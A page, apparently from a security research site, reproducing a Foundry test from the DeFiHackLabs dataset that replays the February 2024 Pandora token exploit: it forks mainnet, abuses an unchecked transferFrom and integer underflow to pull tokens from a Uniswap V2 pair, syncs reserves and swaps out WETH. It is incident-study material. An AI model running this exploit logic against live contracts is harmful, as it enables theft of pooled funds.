Public reproduction file
src/test/2024-02/PANDORA_exp.sol
Public reproduction file for dataset entry Pandora.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// TX : https://app.blocksec.com/explorer/tx/eth/0x7c5a909b45014e35ddb89697f6be38d08eff30e7c3d3d553033a6efc3b444fdd8// GUY : https://twitter.com/pennysplayer/status/17664794700584061749// Profit : ~17K USD10// REASON : integer underflow12interface NoReturnTransferFrom {13 function transfer(address to, uint256 amount) external returns (bool);14 function approve(address spender, uint256 amount) external returns (bool);15 function balanceOf(16 address account17 ) external view returns (uint256);18 function transferFrom(address sender, address recipient, uint256 amount) external;19}21contract ContractTest is Test {22 IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);23 NoReturnTransferFrom constant PANDORA = NoReturnTransferFrom(0xddaDF1bf44363D07E750C20219C2347Ed7D826b9);24 Uni_Pair_V2 V2_PAIR = Uni_Pair_V2(0x89CB997C36776D910Cfba8948Ce38613636CBc3c);25 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);27 function setUp() external {28 cheats.createSelectFork("mainnet", 19_184_577);29 // deal(address(WETH), address(this), 0);30 }32 function testExploit() external {33 emit log_named_decimal_uint("[Begin] Attacker WETH before exploit", WETH.balanceOf(address(this)), 18);34 uint256 pandora_balance = PANDORA.balanceOf(address(V2_PAIR));35 PANDORA.transferFrom(address(V2_PAIR), address(PANDORA), pandora_balance - 1);36 V2_PAIR.sync();37 (uint256 ethReserve, uint256 oldPANDORAReserve,) = V2_PAIR.getReserves();38 PANDORA.transferFrom(address(PANDORA), address(V2_PAIR), pandora_balance - 1);39 uint256 newPANDORAReserve = PANDORA.balanceOf(address(V2_PAIR));40 uint256 amountin = newPANDORAReserve - oldPANDORAReserve;41 uint256 swapAmount = amountin * 9975 * ethReserve / (oldPANDORAReserve * 10_000 + amountin * 9975);43 //swap PANDORA to WBNB44 V2_PAIR.swap(swapAmount, 0, address(this), "");45 emit log_named_decimal_uint("[End] Attacker WETH after exploit", WETH.balanceOf(address(this)), 18);46 }47}Analysis
Dataset entry
Public Foundry test for “Pandora” (2024-02-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
21 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-02/ADC_exp.solSame month in the dataset · 105 lines
- src/test/2024-02/AffineDeFi_exp.solSame month in the dataset · 73 lines
- src/test/2024-02/Babyloogn_exp.solSame month in the dataset · 67 lines
- src/test/2024-02/BlueberryProtocol_exp.solSame month in the dataset · 125 lines
- src/test/2024-02/BurnsDefi_exp.solSame month in the dataset · 135 lines
- src/test/2024-02/CompoundUni_exp.solSame month in the dataset · 147 lines
- src/test/2024-02/DeezNutz404_exp.solSame month in the dataset · 67 lines
- src/test/2024-02/DualPools_exp.solSame month in the dataset · 219 lines
- src/test/2024-02/EGGX_exp.solSame month in the dataset · 142 lines
- src/test/2024-02/DN404_exp.solSame month in the dataset · 65 lines
- src/test/2024-02/GAIN_exp.solSame month in the dataset · 69 lines
- src/test/2024-02/Game_exp.solSame month in the dataset · 61 lines
- src/test/2024-02/Miner_exp.solSame month in the dataset · 75 lines
- src/test/2024-02/MINER_bsc_exp.solSame month in the dataset · 66 lines
- src/test/2024-02/ParticleTrade_exp.solSame month in the dataset · 115 lines
- src/test/2024-02/RuggedArt_exp.solSame month in the dataset · 138 lines
- src/test/2024-02/Seneca_exp.solSame month in the dataset · 68 lines
- src/test/2024-02/SMOOFSStaking_exp.solSame month in the dataset · 77 lines
- src/test/2024-02/SwarmMarkets_exp.solSame month in the dataset · 57 lines
- src/test/2024-02/Zoomer_exp.solSame month in the dataset · 97 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- Pandora
- Path
- src/test/2024-02/PANDORA_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- d53198796299928d95bb895e7287151eafc2bf15
- Language
- Solidity
- Size
- 48 lines
- Date
- 2024-02-08
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-02/PANDORA_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d53198796299928d95bb895e7287151eafc2bf15, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.